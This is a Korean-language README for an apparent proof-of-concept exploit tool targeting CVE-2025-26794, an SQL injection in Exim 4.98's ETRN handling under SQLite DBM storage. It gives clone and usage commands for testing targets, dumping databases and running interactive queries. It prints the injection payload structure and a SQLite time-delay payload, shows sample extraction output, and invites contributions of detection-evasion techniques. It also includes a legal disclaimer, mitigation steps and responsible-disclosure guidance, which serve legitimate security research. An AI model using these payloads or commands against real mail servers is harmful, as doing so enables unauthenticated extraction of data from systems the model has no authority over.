CVE-2025-26794: Exim ETRN SQL 인젝션 익스플로잇

CVE-2025-26794에 대한 개념 증명(PoC) 익스플로잇 도구로, SQLite DBM 스토리지를 사용할 때 ETRN 명령을 통해 Exim 4.98 메일 서버의 SQL 인젝션 취약점을 시연합니다.

⚠️ 법적 고지

승인된 보안 테스트 전용

이 도구는 교육 목적 및 승인된 침투 테스트용으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 다음을 포함한 다양한 법률에 따라 불법입니다:

• 미국의 컴퓨터 사기 및 남용 법안(CFAA)
• 영국의 컴퓨터 남용 법안(Computer Misuse Act)
• 기타 관할권의 유사 법률

소유하지 않은 시스템을 테스트하기 전에 반드시 명시적인 서면 승인을 받아야 합니다.

저자와 기여자는 이 도구로 인한 오용 또는 손해에 대해 어떠한 책임도 지지 않습니다.

📋 취약점 개요

CVE-2025-26794는 Exim 4.98의 SQL 인젝션 취약점으로, 다음 조건에서 발생합니다:

• Exim이 SQLite DBM 스토리지로 구성된 경우
• ETRN 명령 핸들러가 직렬화된 데이터를 처리하는 경우
• 사용자 제어 입력이 SQL 쿼리 구성 전에 충분히 검증되지 않은 경우

이 취약점으로 공격자는 다음을 수행할 수 있습니다:

• 메일 서버 데이터베이스에서 민감한 데이터 추출
• 시간 기반 블라인드 SQL 인젝션 공격 수행
• 데이터베이스 구조 열거(테이블, 컬럼, 데이터)

영향을 받는 버전

• SQLite DBM 구성이 적용된 Exim 4.98

공격 벡터

• 네트워크에서 접근 가능한 SMTP 서비스(일반적으로 포트 25)
• 인증 불필요(인증 전에 ETRN 명령 사용 가능)

🚀 기능

• 취약점 테스트: 대상이 취약한지 확인하는 자동 점검
• 시간 기반 블라인드 SQLi: 데이터 추출에 SQLite 시간 지연 기법 사용
• 이진 탐색 최적화: 문자 단위의 효율적인 추출
• 자동 데이터베이스 덤프: 테이블, 컬럼 및 샘플 데이터 추출
• 대화형 모드: 사용자 지정 SQL 쿼리를 대화형으로 실행
• 다중 모드 작동: 유연한 추출 전략

📦 설치

요구 사항

• Python 3.6 이상
• 대상 SMTP 서버에 대한 네트워크 접근

설정

# Clone the repository
git clone https://github.com/XploitGh0st/CVE-2025-26794-exploit.git
cd CVE-2025-26794-exploit

# Install dependencies (none required - uses standard library only)
pip install -r requirements.txt

# Make script executable (Linux/Mac)
chmod +x exploit.py

💻 사용 방법

기본 구문

python3 exploit.py <target> [options]

빠른 예제

1. 대상 취약점 테스트

python3 exploit.py 192.168.1.10 --test-only

2. 자동 데이터베이스 덤프

python3 exploit.py mail.example.com --auto-dump

3. 대화형 SQL 쿼리 모드

python3 exploit.py 10.0.0.5 --interactive

4. 특정 테이블 구조 추출

python3 exploit.py 192.168.1.10 --table users --columns

5. 사용자 지정 SQL 쿼리 실행

python3 exploit.py 192.168.1.10 --query "SELECT sqlite_version()"

명령줄 옵션

🔍 작동 원리

공격 흐름

1. 연결: 대상 서버에 SMTP 연결 설정
2. 기준 측정: 응답 시간 측정을 위해 일반 ETRN 명령 전송
3. 인젝션 테스트: 취약점 확인을 위해 시간 지연 SQL 페이로드 전송
4. 데이터 추출: 시간 기반 블라인드 SQLi와 이진 탐색을 사용하여 문자 단위로 데이터 추출

SQL 인젝션 페이로드 구조

ETRN #',1); <MALICIOUS_QUERY> /*

이 페이로드는 ETRN 직렬화 핸들러의 부적절한 검증을 악용하여 SQLite 쿼리에 SQL 인젝션을 가능하게 합니다.

시간 기반 탐지

SQLite 고유의 시간 지연을 사용합니다:

SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))

조건이 참일 때 측정 가능한 지연(~1-2초)을 생성합니다.

📊 출력 예시

╔═══════════════════════════════════════════════════════════╗
║     CVE-2025-26794: Exim SQLi Data Extraction Tool        ║
║                  FOR AUTHORIZED USE ONLY                  ║
╚═══════════════════════════════════════════════════════════╝

[*] 취약점 테스트 중...
[+] 정상 응답 시간: 0.123초
[+] 지연 응답 시간: 1.456초
[!!!] 취약함 - 시간 차이: 1.333초

[*] 테이블 이름 추출 중...
[*] 테이블 1 추출 중...
[+] 추출됨: users
[+] 테이블 발견: users

[*] 'users' 테이블에서 컬럼 추출 중...
[+] 컬럼 발견: id
[+] 컬럼 발견: username
[+] 컬럼 발견: email

🛡️ 완화 조치

SQLite DBM과 함께 Exim 4.98을 실행 중이라면:

1. Exim 업데이트: 패치된 버전(4.98.1 이상)으로 업그레이드
2. 입력 검증: 엄격한 ETRN 명령 검증 구현
3. 매개변수화된 쿼리: 모든 데이터베이스 작업에 준비된 문 사용
4. 방화벽 규칙: SMTP 접근을 신뢰할 수 있는 네트워크로 제한
5. ETRN 비활성화: 필요하지 않다면 Exim 구성에서 ETRN 명령 비활성화

🔧 기술적 세부 사항

이진 탐색 알고리즘

이 익스플로잇은 문자를 효율적으로 추출하기 위해 이진 탐색을 사용합니다:

• 인쇄 가능한 ASCII 범위: 32-126
• 문자당 평균 쿼리 수: ~7(log₂ 94)
• 네트워크 트래픽을 최소화하도록 최적화

사용된 SQLite 함수

• unicode(): 문자의 ASCII 값 가져오기
• substr(): 결과에서 부분 문자열 추출
• sqlite_master: 스키마 열거용 시스템 테이블
• pragma_table_info(): 컬럼 메타데이터 추출

📚 참고 자료

• CVE 상세 정보: CVE-2025-26794
• Exim 보안 권고: [공식 Exim 권고]
• OWASP SQL 인젝션: OWASP 가이드

🤝 기여

다음 분야의 기여를 환영합니다:

• 성능 최적화
• 추가 추출 기법
• 탐지 회피 방법
• 버그 수정 및 개선

모든 기여에는 다음이 포함되어야 합니다:

• 명확한 문서화
• 책임 있는 공개 지침
• 법적 사용 경고

📝 라이선스

이 프로젝트는 교육 목적으로만 공개됩니다. 책임감 있고 합법적으로 사용하십시오.

👤 저자

XploitGh0st

• GitHub: @XploitGh0st

🙏 감사의 말

• 취약점을 책임감 있게 처리한 Exim 개발팀
• 보안 연구 커뮤니티
• SQLite 시간 기반 인젝션 기법 연구자들

⚖️ 책임 있는 공개

이 도구를 사용하여 취약점을 발견한 경우:

1. 세부 사항을 즉시 공개하지 마십시오
2. 공급업체/유지관리자에게 비공개로 연락하십시오
3. 패치 적용에 합리적인 시간(일반적으로 90일)을 허용하십시오
4. 조정된 공개 지침을 따르십시오

기억하세요: 큰 힘에는 큰 책임이 따릅니다. 이 도구를 윤리적이고 합법적으로 사용하십시오.